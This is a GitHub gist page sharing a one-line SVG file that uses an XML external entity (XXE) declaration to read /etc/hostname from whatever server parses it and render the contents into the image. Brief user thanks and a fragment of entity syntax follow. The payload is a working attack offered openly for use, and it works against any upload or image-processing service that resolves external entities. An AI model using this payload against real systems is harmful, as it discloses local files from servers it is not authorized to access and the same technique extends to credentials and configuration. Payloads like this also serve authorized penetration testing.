Created
August 13, 2019 23:44
-
-
Save jakekarnes42/b879f913fd3ae071c11199b9bd7ba3a7 to your computer and use it in GitHub Desktop.
An SVG "image" that uses an XXE attack to embed the hostname file of whichever system processes it into the image itself
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> |
Thankssss! Good contribution!
very usefull, thank you
awesome
]>&xxe;<>
__
_**
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Thx for this ...